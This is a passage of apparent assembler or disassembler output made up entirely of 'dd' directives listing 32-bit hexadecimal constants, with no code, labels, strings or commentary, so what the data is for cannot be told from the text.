5356D67Dh, 805F76EBh dd 0BA1E24BCh, 30A5F33h, 0F09720C9h, 6AF27939h, 0C417FD5Fh dd 455E79E7h, 0EC6F735Fh, 4BC8034Ah, 58ACDC8Eh, 0B677C963h dd 0C9900E4Bh, 0D54F43C9h, 699B2036h, 43E34E3Ch, 559E424h dd 0DF200103h, 45839F7h, 0F7DF85A4h, 5B7008h, 39530FB9h dd 70B1C96Ch, 57EF4A58h, 192EF4Fh, 46897568h, 5CCBE157h dd 3B096D11h, 694CA87h, 7D2F4FE4h, 0BA439F44h, 60CA59AAh dd 594BF01Bh, 58E046BBh, 1C081E89h, 0CAEF3840h, 5FCAE30Fh dd 5391B01Bh, 42C40DA9h, 8D802DFBh, 435D0AF0h, 3E703A95h dd 0CFC80720h, 273B79DFh, 3012BECAh, 44BD1C1Bh, 4722BB79h dd 33C59790h, 84594678h, 1C34CA3Fh, 37901982h, 0B5942859h dd 6BABC2C9h, 0CC01DBACh, 499AA849h, 522110h, 1EF12E77h dd 5F7D786h, 379D1493h, 5218D7C3h, 92DFD3DAh, 0D7F39F27h dd 4AF7D7F7h, 0F550F056h, 18181622h, 82A9C09Ch, 5706A6A8h dd 0B20BE1D9h, 0BE3B075Bh, 9E101C57h, 175B65A5h, 2460ED0h dd 0F09EC079h, 26445653h, 19239E1Bh, 57575764h, 64F60473h dd 1CB85540h, 326C8E47h, 0F65353C8h, 0F25C2357h, 0BF5350D9h dd 4794E6CBh, 5596CD54h, 1E12D34h, 8FC3BF4h, 6319FBBAh dd 0D158E043h, 0F649B8FBh, 8AC9C8E4h, 473D4FCBh, 84015B6Ah dd 0CB979C91h, 43105EDBh, 0C2F32FC8h, 32F3E474h, 0CF2BD7AAh dd 6E43F32Fh, 0F32FF213h, 0F32FA504h, 81393C8h, 0AFC8AF1Fh dd 5AC709C8h, 1037536Ch, 85BECBFBh, 0CD793CACh, 56543A40h dd 91E4F25Ch, 6D4020FAh, 9424CB54h, 52DE81E4h, 13020D19h dd 341B6CD1h, 83724E46h, 5455D324h, 0FC27FA7Ah, 94EB6660h dd 18C36439h, 654D0E9h, 48D9B925h, 4D732C14h, 0FFEE64CFh dd 0D928521Ah, 0DBA45B17h, 15093BD6h, 32CDDCC8h, 0F6D33AABh dd 64320539h, 0AAE592B9h, 4A3FA938h, 3E640196h, 90063DAFh dd 3CAEE591h, 9646AD23h, 0AC22592Bh, 16E62021h, 22DE7BC4h dd 23B6C912h, 0D6C8C83h, 2D38DF3Dh, 20C8C884h, 1989233Bh dd 331901CFh, 0A04F42BAh, 3080E4F2h, 429EA517h, 0C44D56CBh dd 4E6B5C81h, 0DED99F98h, 70F4ABF3h, 9D0FCF37h, 8D8D33A4h dd 1FF0C445h, 0D8DBFD7Eh, 2123CA01h, 0C434510Fh, 348AA9FAh dd 0D05C6B78h, 0CBD106D8h, 13585622h, 0B30FEE5Eh, 1D5B355Dh dd 2FB6BBD5h, 3AF500C5h, 0AB03EC0Dh, 877D98E7h, 43111BF5h dd 6C0E9B6Eh, 3BA88C5Dh, 33165226h, 81DCC3D3h, 630B315Fh dd 0F43BBC21h, 0D0B6BFD8h, 8DA7893h, 1EAC0CBAh, 0C85669CAh dd 1FDA4314h, 17BEF009h, 1907AB64h, 684009D8h, 3824535h dd 32F2356Eh, 43C47278h, 4B065731h, 0E2407ACBh, 0EBCB5F00h dd 598F673Bh, 773A1933h, 43BB0BE5h, 0A9B1094Eh, 40741B73h dd 3D279457h, 0C48F3900h, 8B902EDEh, 0B2F200E2h, 0C4878950h dd 5F60C49Bh, 79CC01Dh, 3BCF8891h, 3201C807h, 6CDE793h dd 9B9E406Ch, 1E26F733h, 146B42E4h, 0CF0F9592h, 0CF92D3BAh dd 6717E602h, 0C5D80F17h, 1EF1059Bh, 0D119F75Ch, 16F733EFh dd 0BB27505Ch, 0AD61D5FEh, 0B00F3E51h, 0FEC46380h, 0C3518498h dd 0DB4B901Ah, 4BAC7B4Ah, 0C42FC80Eh, 6547517Eh, 1C8E5503h dd 0C8A7F64Ch, 0CF6DFBC6h, 651073Dh, 558F6B14h, 0AA320A9Fh dd 0B973E9D8h, 5181DC05h, 147BECADh, 12A8CBDCh, 0DC1F6FD9h dd 0B17D8C2Dh, 684E287Fh, 0AE112074h, 3EF9190Bh, 7B98AD81h dd 4D9B1313h, 1467B361h, 7B1F777Bh, 2AE9EF54h, 5EE2263h dd 7E49C836h, 0A3C8A323h, 321E77C8h, 0BF1C80C9h, 0C93267BFh dd 0BBBB1C80h, 80C9327Fh, 6FB7B71Ch, 1C80C932h, 8E7BB3B3h dd 8F1C80C9h, 0D919348Fh, 5A47B5Eh, 77BF0BBFh, 19191919h dd 7FB767BBh, 1919178Dh, 9E456FB3h, 9F25E7EAh, 0FDC45B7Bh dd 2FB86B5Fh, 0C3C97203h, 34C453E5h, 2A25154Fh, 2710E122h dd 0AFB25B83h, 0F5FCA0C5h, 834980Ah, 0F7BD4187h, 9211E6B2h dd 0A353F101h, 11F52928h, 0B01CD220h, 79A31B27h, 24C4024Ch dd 8400346h, 341182F8h, 158E5B79h, 0B893BB74h, 970E08B1h dd 36435667h, 9F745907h, 6CF2AAA9h, 0BBCF057Eh, 1B83ABF2h dd 46A983CCh, 0C5136711h, 0BD12E4ECh, 0FF238458h, 76C90CFCh dd 2CD8FB16h, 278117D8h, 28C55C0Fh, 2E13D9E2h, 4643B2B8h dd 57B9E611h, 9C7BAF22h, 5B646C3Dh, 0E478780h, 0AC374F7Ch dd 0F9849081h, 59797F6Ch, 0D8D8B340h, 262C5C05h, 9FC45364h dd 0BF9E12DBh, 884E08C3h, 0C2392735h, 7BAA2F81h, 1B4A37C1h dd 7B9F8089h, 0F95FE33Bh, 0E8C9F219h, 25017C8Eh, 2878A36Dh dd 0C507396Eh, 0A0CF7601h, 0E2959D88h, 0DA19530Bh, 160CF12h dd 23AD4B2Dh, 158B3F9h, 1AAEFCB1h, 828FB912h, 1FE23EC8h dd 90C174FFh, 36178788h, 1E0763E5h, 0B5D11388h, 50839E4h dd 50116849h, 0CED9386Dh, 4B36B976h, 586B3306h, 7B0BEC62h dd 0F4AFC5CFh, 0B23733F3h, 50E84945h, 0DE224628h, 5C535623h dd 43BAC1F3h, 0F931E15Fh, 0CBBC1912h, 0ABD5318h, 5B2A42CCh dd 8703EE8Eh, 0F0AE3787h, 53BE1718h, 72606E1Ah, 0B1CCC7C9h dd 9454BB47h, 0B097EF90h, 0EEBA4C76h, 620FDB2Fh, 5CE1190Fh dd 1DED2194h, 0BADF2032h, 0DFD325C4h, 399FB05Eh, 4C829B28h dd 273B20B8h, 2F24F223h, 0EF233B19h, 9E3B3B1Ch, 170325E4h dd 3B78256Dh, 64BC9233h, 24D97340h, 1F285929h, 1451133Ah dd 0C803230Bh, 0F1BB4B91h dd 13249E4Bh, 0A1F19272h, 2E400B96h, 0CE4B3239h, 939E0BF1h dd 244B191Ch, 0B92D5F1h, 40D9C97Fh, 0E8080023h, 2569DBD6h dd 14261D97h, 0ECB97C47h, 267AE490h, 87582314h, 262F2487h dd 7781425h, 0CF558A44h, 7D33CC0Fh, 0CD623135h, 680F0E59h dd 1907B2Bh, 2B370AE9h, 0E406E70Bh, 80262679h, 0E790DB07h dd 0F4244099h, 0E40E003h, 20410F19h, 0AEB6CB90h, 0CAFB2D8Fh dd 25C86028h, 621267Fh, 59CC1F3Bh, 133D24AEh, 94BF7F25h dd 0C982AE95h, 0A7EFE1F9h, 6AE51736h, 42BDDF32h, 98419A3Ah dd 8A42A52Ah, 9789B041h, 1117A83Fh, 0E7813819h, 82988309h dd 20D3B903h, 0C46217CFh, 0AD50B20Eh, 60F830ABh, 509E6D0Eh dd 3352D76Ah, 87CB33C3h, 3B24EDE2h, 6F6685E7h, 3D11D79Ah dd 9D95A076h, 0BAF7F274h, 0EF023683h, 37017EA6h, 517D3626h dd 0BBCB7367h, 426BC8A0h, 0CD9A4542h, 8DBA1499h, 0CEC19144h dd 125383DCh, 76432798h, 43F34862h, 0E5B44B3Bh, 50E81260h dd 0BAF07234h, 0BD0B0F0h, 93388D23h, 992DEBBBh, 292E070Ah dd 9B883233h, 52DA16A0h, 0C806DAAFh, 3499D9D9h, 97E3AC1Dh dd 0E4669208h, 0BA3F17B0h, 2361BD10h, 4B234DDDh, 3CCC0E26h dd 4F869C8Bh, 3D66D04Ah, 0EF67782Ah, 3E210A2Bh, 4D44080Ah dd 4DD95C1h, 385C8817h, 16062F76h, 0C57870D3h, 35E0866h dd 3BB13254h, 761B7367h, 476D462Ch, 0B3556CF3h, 1B673875h dd 0DC0C6446h, 2212963h, 93BB5E9Bh, 28C23608h, 0F403AC9h dd 0EC82F7EBh, 32C935CEh, 9808A31Bh, 0BE4991CDh, 1BAF1B32h dd 584860A3h, 6BB22C8h, 95F8316Ch, 56CFA25Bh, 675F980Ah dd 74D5E3EFh, 6B7207CDh, 8E71459Eh, 83BBC41h, 13563C93h dd 94388956h, 0E52BB569h, 1D062FD6h, 10205705h, 0E0FCCA31h dd 0C1F65F47h, 4BCBC277h, 78B5AEE7h, 0F7DE1F32h, 0C0E14032h dd 50CC3D47h, 93CAD515h, 0EDC0380h, 4C6EA3D0h, 4BEF9441h dd 64720BC4h, 0AEE3AEE3h, 0F4476809h, 158BCE05h, 2E02E5C9h dd 27B786CDh, 0CCAB8FADh, 0BB24BE49h, 15AD27F5h, 730B67A7h dd 0A352A7C9h, 213287A2h, 0AE82100Bh, 182AD9AEh, 0AEB9AE72h dd 620137Dh, 523C65AEh, 0FF51F632h, 12390935h, 38C2FBBh dd 203B230Bh, 212A6D78h, 0E9D01B2Dh, 0B3D2C2E8h, 567EAB7Ch dd 0AE280393h, 0DFB43ED0h, 70E39C0h, 9083933h, 82DC38FCh dd 8B3B0A0Ch, 0CBC1671Ah, 3C36477Ah, 678C679Ch, 83B1088h dd 2C7333CCh, 0BCB02C0h, 5F9A6055h, 0E726E93Bh, 1B26154Fh dd 32A079BEh, 61C04D16h, 1760EF63h, 6089F7BCh, 0A1CCB5Eh dd 1C821390h, 0F0091B7Bh, 0D9B2F457h, 5029D868h, 8ABD5023h dd 300124C4h, 0B0EB52Bh, 0E4EB3AD0h, 536684A8h, 545754B2h dd 78D130A3h, 24F24D8Ah, 0B61306Dh, 0EC59E00Ah, 1152970Bh dd 492E6321h, 1C2FBD9Eh, 0B23340F0h, 452CD462h, 0B10A85BDh dd 3D065EBAh, 0BB313F15h, 63D1AF0Ah, 35C2915Bh, 8065BB3Bh dd 0F03B6CE8h, 98C0501Dh, 582E53F7h, 24988714h, 4B6DD70Ah dd 1EE5F4EBh, 0CBC04420h, 0F9154FF2h, 0E70AC8DCh, 0C44EBCABh dd 53600107h, 9A4316B3h, 0CB8EB5Fh, 78030034h, 0D54C53D5h dd 2AA145ACh, 0E96CBA51h, 0F0D0B1E5h, 0F2BF42D1h, 0D220F61Ch dd 1103FD0Dh, 1F084182h, 0C8C784Ah, 5B8A6032h, 8B2BAF7Bh dd 0C5C18E4Dh, 0D91C8D3Ah, 0D8516766h, 0A3AF931Dh, 0C8C832CBh dd 0AF0BAF91h, 320C80E4h, 2DD6AF49h, 8EE15120h, 0ABD92527h dd 7268D0A0h, 0B92D5977h, 0EB29D11Fh, 73080C72h, 11F84272h dd 45037235h, 92E4C684h, 25B81EC9h, 640B512Bh, 0F8064B92h dd 92EC5019h, 2C1BB901h, 92581F4Dh, 0C7B3901h, 0ECBD9649h dd 279ECCD3h, 5F278178h, 0C070E161h, 3A6F85BAh, 0F421C665h dd 2A724B0Ah, 0C256C4DCh, 6B640738h, 0BC1FC78Ch, 9F720792h dd 0AAC7DDC7h, 33DCD92Fh, 0BB578B20h, 275F9B25h, 5B0E024Ch dd 79A8F494h, 0C5902F20h, 0C776C730h, 2BC97457h, 26022FC3h dd 394168A5h, 2D12E2B9h, 9C126283h, 0BA985910h, 53D6715Fh dd 8E44828Ah, 762C6831h, 398E3326h, 0B5108255h, 0F933014h dd 83E0517Bh, 0AF024C64h, 5518FB16h, 0A73BEF64h, 9DC0E0BBh dd 0D153D724h, 0B9739BF4h, 6E63206Ah, 9A1179BFh, 1EA2129h dd 2555EBB8h, 2A28ECFh, 0ABC01DE5h, 3C9746E2h, 70372EABh dd 206A3926h, 2E08DD44h, 0C5727880h, 6C7603F8h, 62266C22h dd 0EA7F11BBh, 44236170h, 402BF440h, 236178A0h, 0DE14C1DDh dd 0CD826A9Ah, 54BB3E31h, 4790F227h, 37460DEh, 1FC5B9A1h dd 16D40F44h, 3F34816Eh, 4AD3B1Ah, 2B7E06B3h, 37185E3Dh dd 10D7C92Bh, 0C5EEBCD9h, 0F1A0063h, 725CF25Ch, 0D4076BF1h dd 9A0DCC25h, 0C75165BBh, 9ECF151Eh, 0D80C7A2Bh, 487CA213h dd 52D6DB77h, 3951451Fh, 1EBB5F1Fh, 93906889h, 0A0435203h dd 6C3E499h, 0BB432617h, 86A27A75h, 4CBE859Dh, 19646530h dd 848275Bh, 304F414Bh, 5A918FD8h, 5FD92C73h, 0BFCC4786h dd 715C8DD3h, 735A2412h, 3AC2C4BBh, 0AA809B04h, 0CBB731Ah dd 6E516C8Eh, 0C2249F0Eh, 0C8C889D9h, 37BE1296h, 64349AEh dd 99ADBE73h, 5C9BA22Fh, 0EFC2D222h, 5DAC388Bh, 1E7104AAh dd 30C6BB4Bh, 2C6616C8h, 9B3C9BA2h, 0D10AC990h, 430CD35Bh dd 39D5B3EFh, 0EBD9354Bh, 63605EAEh, 4B4391B3h, 1A4F05B2h dd 0B1B01C44h, 29B5470Ch, 1A4BCE19h, 58C7F28Eh, 0C7B06B69h dd 846CBC20h, 64157F49h, 207D4C0h, 706DD08Dh, 345BD84Dh dd 2772BF52h, 0ABAA070Eh, 3ECE74B8h, 62ABEF2Dh, 6E16F3BBh dd 1B7E4990h, 0B369793Ah, 0A5982AF3h, 8B2FDB64h, 0FC5B4015h dd 8566DA2Bh, 5F0313C7h, 27ABA9BBh, 48E851D9h, 64F3874Fh dd 0E86C84C7h, 0E352E521h, 0E4E7E40Bh, 0AE67E7C9h, 0DC2DAE67h dd 9F217914h, 23DDFECFh, 23F493AFh, 392F3EAFh, 0BCDCF1F2h dd 4FE1B0E1h, 21E41AABh, 4FAB4F4Fh, 5268C7ABh, 0E5C983B5h dd 0F114DDFFh, 0CBE36C86h, 4E4B0FAFh, 597EF672h, 52A7A715h dd 42791C84h, 0CFAFC3E3h, 0F20390AFh, 0CFAFF3E4h, 72AFF3AFh dd 0F7720E40h, 0CBAFC3AFh, 41C80374h, 0C374DF5Eh, 90F2CBAFh dd 0C7AF9F27h, 23AE67AFh, 0AAF42EAFh, 0F8E65302h, 43B277DDh dd 987EB847h, 5FDD2215h, 0B0F330E2h, 0C7A770Dh, 1A13C252h dd 0A40CEAE6h, 90CFAA86h, 4B39B587h, 81F39F5Ah, 0C678C13Bh dd 23406841h, 0A339A51Ah, 2EC3A15Bh, 6C97F769h, 22E30F28h dd 2111F61Dh, 0D01A127Fh, 3A9191ECh, 5BCB13A3h, 0D5C2669h dd 0E167B37Bh, 5F4BC013h, 3BF80D0Eh, 5DE96E9h, 6899F3C0h dd 21C3712Dh, 69E3E32Fh, 5CECC29Eh, 0D88A5C50h, 1F181672h dd 0EC1467A8h, 0EDE187Ch, 7DC03277h, 12DE9D87h, 658C5BF7h dd 0A4A6E636h, 3C159A90h, 0EF014B23h, 0A2473A01h, 762A3533h dd 3E730F72h, 1130DD17h, 8076522Ch, 0DFCB1CF3h, 7009254Ch dd 0B5E72204h, 8E6961DFh, 3129B03Dh, 54F6D8ABh, 8307FC7h dd 37C3A72Fh, 0E7BBC643h, 3C9720A2h, 0C32C2563h, 0B303C9Dh dd 5F322C8Ah, 0F7D25D8Ah, 0D2DF2704h, 7CE27989h, 1B7A5CEFh dd 622505A9h, 2F637827h, 0A6131857h, 0E661F51Bh, 0A91FF860h dd 3453BB1Bh, 61BB20Bh, 55A63BC8h, 9C9EFB26h, 0BA733A05h dd 0CDD71D84h, 2E438C17h, 41056975h, 4E30EC38h, 205626E0h dd 8380F47h, 0E0AD0FC1h, 0C1872AD8h, 4FD4BE4Bh, 76DD13D3h dd 3803A0D3h, 4B454B23h dd 0D9D8CCCBh, 2A343ACh, 3EC36B12h, 53DB1545h, 3E076112h dd 0DA05D1CAh, 0A919EF8Fh, 67B37642h, 6B1A1B05h, 0EC659843h dd 7C5C4D9Ch, 7B757347h, 1DC90CCFh, 429DED8h, 2C0F525Bh dd 0D9493416h, 37D319C5h, 2B015F87h, 53E1FF9Ah, 7B0F444Bh dd 2FAB6FCFh, 0F3E166E9h, 9E6CEF43h, 6BAB130Ch, 0E7360CABh dd 2DEF4481h, 130C17D8h, 0BC6689ABh, 7AB13C8h, 93670B06h dd 0AB1701CDh, 700ED99Bh, 4CC0D35h, 60EB8498h, 86FB1660h dd 5D8787Eh, 0F824E95Bh, 0BEBA3C8Bh, 0DF76EB57h, 0E307093h dd 4027864Fh, 161C74DDh, 7ADD8B27h, 135357EEh, 4C00AE7Bh dd 0CE71DB4h, 0E61607B0h, 0DEA1944Bh, 0D057CC34h, 9C2F6B6Ch dd 0C0AAC52h, 9E808CE0h, 4514F586h, 6C36409Ch, 17FCEDA1h dd 514F6D0h, 0B94DF344h, 0F7990E4Ah, 3B5E4568h, 52170367h dd 0DD901FBDh, 287B1588h, 0CA53AD4Bh, 6DA08106h, 67CD6785h dd 45ECDC88h, 0B02E0C06h, 7FBE260Fh, 26BC065Ah, 0CD90171Eh dd 6742C6FDh, 0DB97BBD2h, 5E7F2FABh, 0A33445A3h, 0BECA113Ah dd 9FB8D012h, 2F1B44BAh, 95EE46D9h, 183A481Ah, 9299034Ch dd 63632493h, 0B2B1CD64h, 0BEA31B63h, 0B0D0C197h, 760A16B0h dd 1061E004h, 26E6387Eh, 60DF10BBh, 0E096525Ah, 16602508h dd 90DB0BD7h, 1F608828h, 83A6D4FAh, 5F27F672h, 0EFD4874Bh dd 798C6F50h, 50D347D3h, 0DF22DF20h, 50B51108h, 52739310h dd 6073D8D3h, 0B8201BBBh, 18AE1A0Ch, 0BD90F011h, 267EAD1Ch dd 2C293E6Ah, 0B090A74h, 1B27C3B2h, 5D16BE2Eh, 0D05AE52Bh dd 0CC515C01h, 0D5EBE452h, 92EE9B2Ah, 4393709Bh, 7B7BC616h dd 0DCF3C206h, 0AB7B2028h, 30D37BF6h, 4B338EB0h, 7767C2E2h dd 34AC7FB0h, 6A4B061Ch, 2621D957h, 4067275Ah, 0BEC3822Bh dd 473C7708h, 0AC9F47CDh, 99BBAF7Ch, 1FD832D5h, 0B6D3AFD9h dd 2C84D961h, 73D38B67h, 85B7650Eh, 7785474Ch, 624C1BD2h dd 0BA0CBF08h, 0FA1DAA12h, 7E5B0835h, 0BC62AAD9h, 0C4045F93h dd 6843DE1h, 4C1559ABh, 8AD3BE88h, 0D01FD496h, 0BA4FF497h dd 81B2E151h, 0A7E5E9BBh, 6677F6D3h, 0A0B52369h, 5B6F5D86h dd 5ECC0CEh, 27521CF4h, 126C1Ch, 92C2D29Eh, 9F245A10h dd 0B81D8382h, 0D69A3E21h, 0A6245775h, 32B07521h, 0DED6EB10h dd 0E4192CB2h, 0AC5217EDh, 1626761Bh, 502A03CFh, 741A956Bh dd 1B2FACB4h, 11374340h, 0F873C6DAh, 0DF3EFD82h, 0D6689D29h dd 73542F11h, 0D622AF0Fh, 68A0781h, 211E4643h, 90EE4327h dd 919B410Ch, 0C8C74502h, 23A222D6h, 270B8688h, 46CF0416h dd 2B06EB03h, 13A66FBCh, 0C1B37A91h, 7229B47Bh, 0EFCD8A12h dd 0C6DA4ABDh, 3D62BAFFh, 5D0B4BD7h, 0CEC91A41h, 532CF805h dd 3F51E5ADh, 0D4835EC3h, 499FDB8Ah, 58815E0h, 0CE909045h dd 0DC8D8C8Eh, 8EBD97C3h, 83D69B0Ch, 317A136Ch, 117D1999h dd 243B03EDh, 12F82296h, 88076489h, 2C11F051h, 0F33E4BB2h dd 0D116562Fh, 9DEC1E03h, 51C3F127h, 5BD2330h, 90A73B1Bh dd 5BBF1ADDh, 160E5481h, 503B1C2Eh, 1733D320h, 0D3505E39h dd 4DE19ED9h, 0F00D9518h, 9C233D97h, 59C2D5F0h, 7AEB192Fh dd 3B198412h, 6AC79B3Eh, 0C833BD9Ah, 0C06BDBDh, 0DA184Fh dd 41E90FC5h, 9D502C39h, 67AC1167h, 0B2784D2Fh, 0A412AC25h dd 0C0EEF9EBh, 0B9CBB0BCh, 4E2D354Fh, 93D85CEh, 1B4BB87Ah dd 42B34D31h, 22E52D24h, 9BE42BD1h, 0E7973ADCh, 13E7A4BDh dd 6DEAD7Dh, 0E0D30582h, 35CCEF09h, 508205FAh, 4B1EBA1Bh dd 2672F5B2h, 2D2BD44Bh, 0D82856F7h, 54F10020h, 54344855h dd 531AD7A5h, 43909B05h, 242D2BD8h, 1ABDA41Ah, 69B44498h dd 30C80D17h, 36D36E9Bh, 0BC24F1A8h, 3C8ADBEEh, 2FF5ABE3h dd 2460C7ACh, 94161808h, 8A224A2h, 0F24A58E1h, 0B7405743h dd 0A5C84455h, 0E78064C5h, 2C0B9428h, 2D156568h, 6DA48428h dd 84153EE4h, 0F5F2026h, 321EE306h, 0B8283E20h, 201350B7h dd 0B8E88546h, 0DFD39E50h, 9F53D911h, 0DBBF1182h, 7B8DB828h dd 9D23A8Eh, 50140878h, 0A09D2051h, 56DCF15Ch, 7B378C48h dd 3B531C6Dh, 0AD55E71Eh, 55575402h, 574DE513h, 1B9EA094h dd 43EC555Eh, 3D014981h, 12DB1E5Ch, 32495E02h, 0A87A31A0h dd 0AB25393Fh, 0AC1AD957h, 0E9D99B59h, 3C36076Ch, 6FA21Bh dd 57572079h, 42D953F9h, 77511902h, 0B6C26C23h, 2F555725h dd 58456913h, 5F70E496h, 0D8228F69h, 335F6381h, 21C20A9Bh dd 841B6F74h, 6B276BD3h, 74F380C9h, 0DD9A7ABh, 0BB08EA0Bh dd 0BE9352DBh, 699BFDECh, 63B3D0FEh, 438AB3DBh, 60487326h dd 5FFC8ABBh, 0E29D3B52h, 1FCDA21Dh, 0BECA3960h, 925A65DDh dd 5CB244AAh, 516A9258h, 64A6481Dh, 0DB84E6Fh, 90D916DEh dd 0F0645567h, 9E6CB3D0h, 73421606h, 28CC8B78h, 583F1C3Ah dd 5E4298C2h, 2DCEB056h, 4B5CD879h, 0B2AFD346h, 0A222884Eh dd 12A3ACBBh, 105A985Eh, 9C984B0Dh, 0B543500Bh, 0FBFC0DA8h dd 8E84BA2Dh, 0F902845h, 0FBBF571Fh, 0B5FD52Ch, 0C1B9E73Bh dd 0C56DE03h, 0C1BFFC51h, 5BD909FCh, 5BDB9281h, 0A5261913h dd 3288C3FEh, 605BE195h, 0D993609Ah, 0D446855Dh, 0AAD04D5Fh dd 1F502132h, 0B7B7F780h, 92502CE1h, 3ADAD985h, 5093920Ah dd 358FB815h, 590E42F2h, 50CC820Eh, 1BF6509Ah, 9E9B5CF9h dd 0D80C6657h, 984A84ADh, 0FF0AFFE4h, 9351F967h, 0B1F9525Fh dd 17041902h, 0DE44C5B0h, 105D07EDh, 7FF3D6E8h, 0CA1D7E60h dd 76D14BB0h, 8AAA444h, 0C4357CBh, 0D41636F6h, 792A43D5h dd 62B4257h, 0A411EA21h, 0CC61B783h, 689A7110h, 0B323955Bh dd 92FB0F25h, 616D51B1h, 88761191h, 5257C87Ah, 0B59E05BAh dd 16C9651h, 95336535h, 0F7A7B2ADh, 192B0851h, 9460B5B2h dd 82A33C9Bh, 17ADD2D2h, 21C963DEh, 14C2AC4Ch, 0AB10B91h dd 28B1DF2Ah, 12D53B31h, 16614763h, 2A20C84h, 72437E32h dd 2E0C3693h, 759B4713h, 66F92C68h, 0D861129Bh, 3E9C1066h dd 19257E8Ah, 0E0574354h, 36E2D621h, 0BC4541Bh, 53088706h dd 0BEEC2272h, 0E02E8455h, 10163BA6h, 0BC1BDAA0h, 5DEFB55Fh dd 0D1D8FC06h, 0CDE8BB14h, 0EF821F62h, 0F22ECC0Eh, 5B64518h dd 5F5FEAB2h, 96CE4A78h, 0AC36779Ch, 0B615B061h, 55EA79E4h dd 990A1984h, 2F7AE05Ch, 94085831h, 34167098h, 7B1FF208h dd 9EF8BF09h, 0AD5B09BCh, 175BE98Fh, 28D609BAh, 255FFDE0h dd 0F4436107h, 2EA9062Fh, 0EDF2161h, 11241318h, 3782CDC4h dd 9257DE43h, 0F672EC76h, 6817430Ah, 470A5E20h, 557E1713h dd 26473771h, 214EBB92h, 4B035047h, 13BF39B3h, 4D50AF1Bh dd 0AAC1802h, 3B453BE8h, 4B80B0EAh, 980B1337h, 500EF7D4h dd 0CA455062h, 0BF08A08Bh, 7C2A216Bh, 20C98449h, 0FAF15DBh dd 70E077A4h, 52954B64h, 0DE48811Ah, 5FCCC608h, 13AA4351h dd 46B36621h, 3860D730h, 4C3CDE2Dh, 4A7BA43Eh, 93D0DE38h dd 0BBD97913h, 4308E52Bh, 358496B8h, 730C2BBAh, 5F2D1193h dd 0C783D3FCh, 0CD057B64h, 27D36A5Fh, 0D36B0774h, 0DA6C3917h dd 0EF5BD0ABh, 20C100E1h, 0E1CA4865h, 9A5B1D4Eh, 515FC17Ch dd 6B398857h, 0AF7C9E0Ah, 0DD72141Fh, 275E47B8h, 5B8E1F67h dd 392B3903h, 0DF2EC8BAh, 32D0D01h, 1B515366h, 0E1F22024h dd 2047B253h, 354CFB09h, 0D0631DB3h, 421E2CB4h, 7543B85Bh dd 0E0C3D506h, 3520E4D9h dd 34043863h, 5655C420h, 76CB60A8h, 13186815h, 12076072h dd 0C1514319h, 4B203213h, 0B7D1B850h, 0E2830E0Eh, 0E345B103h dd 335D31D7h, 9F269247h, 3636976Bh, 0A7CD1056h, 0F1A95F08h dd 0A3CD400Fh, 82A4A270h, 14A31E70h, 0DB2DA3FFh, 0D7B03E50h dd 39F72B52h, 797B5684h, 54B35452h, 1D4ABA92h, 0EE67CF14h dd 16701906h, 0E7A739ABh, 2CDEC6DBh, 94E405A3h, 39A359BBh dd 0C62F125Fh, 47399B3Bh, 9B086810h, 70BEF9E5h, 0AB39A3CEh dd 2388A7EBh, 0C418B6E6h, 39037773h, 0C1391242h, 5CCEF6D9h dd 8A32310h, 0BE7B9D70h, 0AF390053h, 0BD39BAEFh, 0E136DCD9h dd 7792EE9Dh, 39124539h, 2E7B2959h, 85E10DEh, 0F21432E7h dd 5CFC9393h, 4F97A62Fh, 797E4286h, 9B14D495h, 0C9F91540h dd 0FB63C850h, 15C6529Fh, 193F21AEh, 0CB8B830Ah, 0E4283AD3h dd 0FC874327h, 58D817A4h, 8B64E023h, 0AE749E2h, 8F50C9F9h dd 0DA0F84EDh, 193F2143h, 0C34271B3h, 2864B738h, 22C027E4h dd 9FBBAECBh, 0DDFC850Ch, 0BFF52A10h, 90E75B72h, 1A928691h dd 46A365A3h, 0E737F90Eh, 0A54D7631h, 19034856h, 7DA748E3h dd 90E464A7h, 0E013E77Fh, 445A9313h, 8E119037h, 0E7AB95ABh dd 0F90E4648h, 750D0902h, 37F415Dh, 4DAFEB19h, 94F9E7AFh dd 0E464A3E5h, 5F47BA90h, 93F21432h, 7C430E97h, 864F8B85h dd 47007E42h, 0D2BF5117h, 50C9F9B5h, 938BF2C8h, 0B480A89Bh dd 0A193F21h, 0B29EB587h, 27E42872h, 5485BB43h, 850E9064h dd 0D4EF64FCh, 83A7865Eh, 0C850C9D8h, 947BE47h, 193FB716h dd 0BA56F90Ah, 0ABEBFAB0h, 0E4AFBCF0h, 9F214327h, 343C518Ah dd 2864FC91h, 791FD9B3h, 96FACFDEh, 6060086Dh, 11809782h dd 7232536Ah, 57ACA9C8h, 4FC8604Fh, 793562B6h, 22A5D283h dd 325362D4h, 60465872h, 7D61C835h, 32718A92h, 43723ECEh dd 0C94D8B64h, 0CB356043h, 872321BBh, 0B66B5FFCh, 235A44AEh dd 0E74C9F90h, 0F7EDB917h, 93F20472h, 8D9CFA93h, 4C99F18h dd 18037FC8h, 0C717A7E8h, 384F8B34h, 0EF23F902h, 97B7EDECh dd 0C9F92D95h, 7BC8C811h, 0F274A9E3h, 393F20B9h, 63D6EF02h dd 0E40887BCh, 0CB9B4767h, 57DB4E56h, 0E4FC811Ch, 87836A87h dd 2393B38Ah, 0CAB69F90h, 7EBFB588h, 0ABF20472h, 0EB4CF12Fh dd 97FF0536h, 4A15ABF7h, 9B584311h, 2FD61C3Ch, 71176EA3h dd 5516A77Ah, 8C94BE79h, 0ABAF3849h, 0EB3F21C8h, 0ACC4159Fh dd 9E591079h, 45C94BE7h, 0BBAFA338h, 0B3F21C8Ch, 0C770F414h dd 0EC425CF8h, 3894BE79h, 0E397A3A7h, 0FC872325h, 0AFC0F36Ah dd 908B5846h, 90B30C9Fh, 7236080Ah, 0EF93F211h, 0DC5F9FC1h dd 422E4F8Bh, 0BCA72E7Eh, 0E82E7ACh, 0C845C9F9h, 1C83D6D7h dd 213CFB2Dh, 0BF08B93Fh, 0AD7FB5B3h, 1727E422h, 5210479Bh dd 0FC845CF0h, 42F2B7E4h, 93931D5Bh, 0D19F908Bh, 8FA4002Dh dd 0F211727Fh, 0EE69A166h, 7ADAE8EBh, 27E43076h, 0C2872113h dd 15B8D580h, 22A101AEh, 80C5C07Ch, 0C3273343h, 0BE03195Fh dd 502D5795h, 0AF045B0Eh, 5033018Ch, 1C17220Eh, 60120481h dd 59177DACh, 1A08E553h, 5BB29252h, 6590E86h, 43519964h dd 6F154B50h, 30AFE2A0h, 0F4B8D957h, 9208AEAAh, 0FAA3A63Ah dd 34244115h, 8A774671h, 6700EA06h, 9257A98Fh, 99EF921h dd 0B7B30F73h, 190B6B18h, 